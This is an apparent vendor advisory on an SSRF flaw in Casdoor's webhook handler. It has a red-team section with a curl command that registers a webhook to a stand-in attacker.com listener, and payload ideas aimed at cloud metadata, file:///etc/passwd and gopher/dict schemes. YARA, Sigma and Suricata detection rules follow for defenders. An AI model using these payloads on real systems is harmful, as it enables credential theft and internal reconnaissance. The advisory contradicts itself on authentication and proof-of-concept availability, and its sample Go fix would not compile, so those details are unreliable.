CVE-2026-5469

Executive Summary

CVE-2026-5469 is a Server-Side Request Forgery (SSRF) vulnerability identified in Casdoor version 2.356.0, specifically within the Webhook URL Handler component. This flaw allows an unauthenticated remote attacker to manipulate the webhook URL processing logic, potentially enabling the attacker to make the server send crafted requests to internal or external resources. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the SSRF nature, a more realistic vector is provided above. The vendor was contacted but did not respond, leaving the vulnerability unpatched. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

Casdoor is an open-source identity and access management (IAM) platform written in Go. It is distributed as a standalone binary and also available as a Docker image. The vulnerability affects the core application logic, not a specific package manager dependency. However, organizations using Casdoor in their infrastructure should treat this as a critical supply chain risk, as exploitation could lead to internal network reconnaissance, data exfiltration, or further lateral movement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – SSRF can expose sensitive internal data.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High – SSRF vulnerabilities in identity management systems can lead to credential theft, internal network scanning, and cloud metadata access.

Deep Dive & Mechanics

The vulnerability resides in the Webhook URL Handler of Casdoor. Webhooks are used to send real-time data to external URLs when events occur. The handler likely accepts a user-supplied URL and makes an HTTP request to that URL without proper validation or sanitization. An attacker can craft a malicious webhook URL pointing to internal services (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata, http://localhost:9200 for Elasticsearch, or http://internal-admin-panel/). The server then makes the request, potentially leaking sensitive information or allowing further attacks.

The attack flow:

1. Attacker identifies a Casdoor instance (e.g., via Shodan).
2. Attacker sends a request to create or update a webhook with a malicious URL.
3. Casdoor processes the webhook and makes an HTTP request to the attacker-controlled URL.
4. The attacker receives the response, which may contain internal data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the webhook URL handling logic. A typical vulnerable pattern in Go might look like:

// Vulnerable code (hypothetical)
func handleWebhook(w http.ResponseWriter, r *http.Request) {
    url := r.FormValue("webhook_url")
    resp, err := http.Get(url) // No validation
    // ...
}

A patched version would include URL validation, such as:

// Patched code (hypothetical)
func handleWebhook(w http.ResponseWriter, r *http.Request) {
    url := r.FormValue("webhook_url")
    parsedURL, err := url.Parse(url)
    if err != nil || parsedURL.Scheme != "https" || isPrivateIP(parsedURL.Host) {
        http.Error(w, "Invalid URL", http.StatusBadRequest)
        return
    }
    resp, err := http.Get(url)
    // ...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Casdoor 2.356.0 in a Docker container: docker run -d -p 8000:8000 casdoor/casdoor:2.356.0
2. Set up a listener (e.g., nc -lvnp 4444) to receive outbound requests.
3. Use a tool like Burp Suite or curl to interact with the webhook API.

Exploitation Steps:

1. Authenticate to Casdoor (if required) or find an unauthenticated endpoint.
2. Identify the webhook creation endpoint (e.g., POST /api/create-webhook).
3. Send a request with a malicious URL:

   curl -X POST http://target:8000/api/create-webhook \
     -H "Content-Type: application/json" \
     -d '{"url":"http://attacker.com:4444/test","event":"user.created"}'
   

4. Trigger the webhook event (e.g., create a user).
5. Observe the request on your listener.

Advanced Exploitation:

• Use http://169.254.169.254/latest/meta-data/ to steal cloud credentials.
• Use file:///etc/passwd if the handler supports file protocols.
• Use gopher:// or dict:// for protocol smuggling.

Blue Team

Detection:

• Monitor outbound HTTP requests from Casdoor servers to unexpected IPs or domains.
• Look for webhook URLs containing private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
• Alert on webhook URLs using non-standard schemes (file://, gopher://, dict://).

Hunting:

• Search logs for POST /api/create-webhook or similar endpoints.
• Review webhook configurations for suspicious URLs.
• Use network flow data to identify Casdoor servers connecting to internal IPs.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from Casdoor to private IP ranges.
  • Requests to cloud metadata endpoints (169.254.169.254).
  • Requests to internal services (localhost, 127.0.0.1).
• Logs:
  • Webhook creation events with URLs containing private IPs.
  • Error logs showing failed connections to internal hosts.
• File:
  • Modified webhook configuration files (if stored locally).

Detection Engineering

YARA Rule

rule CVE_2026_5469_SSRF_Webhook {
    meta:
        description = "Detects SSRF attempts via Casdoor webhook URLs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-5469"
    strings:
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $metadata = "169.254.169.254"
        $file_scheme = "file://"
        $gopher_scheme = "gopher://"
        $dict_scheme = "dict://"
    condition:
        any of ($private_ip, $metadata, $file_scheme, $gopher_scheme, $dict_scheme)
}

Sigma Rule

title: Casdoor Webhook SSRF Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts via Casdoor webhook URL manipulation
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5469
logsource:
    category: web
    product: casdoor
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/create-webhook'
    filter:
        cs-uri-query|contains:
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
            - '127.0.'
            - '169.254.'
            - 'file://'
            - 'gopher://'
            - 'dict://'
    condition: selection and filter
falsepositives:
    - Legitimate use of internal webhooks (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-5469 Casdoor Webhook SSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/create-webhook"; http_uri;
    content:"url"; http_client_body;
    pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3}|file:\/\/|gopher:\/\/|dict:\/\/)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2026-5469;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Webhooks: If webhooks are not essential, disable the feature entirely.
2. Network Segmentation: Restrict outbound traffic from Casdoor servers to only known, trusted destinations.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing private IPs or non-standard schemes in webhook URLs.

Long-term Fix:

• Since the vendor is unresponsive, consider forking the Casdoor repository and implementing URL validation:
  • Validate the URL scheme (allow only https://).
  • Block private IP ranges and loopback addresses.
  • Implement a denylist for known SSRF targets (e.g., cloud metadata endpoints).
• Monitor for official patches or community fixes.

Workaround:

• Use a reverse proxy (e.g., Nginx) to intercept and validate webhook requests before they reach Casdoor.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: AECF4D7B7A1A00D5D3E0FB30] */}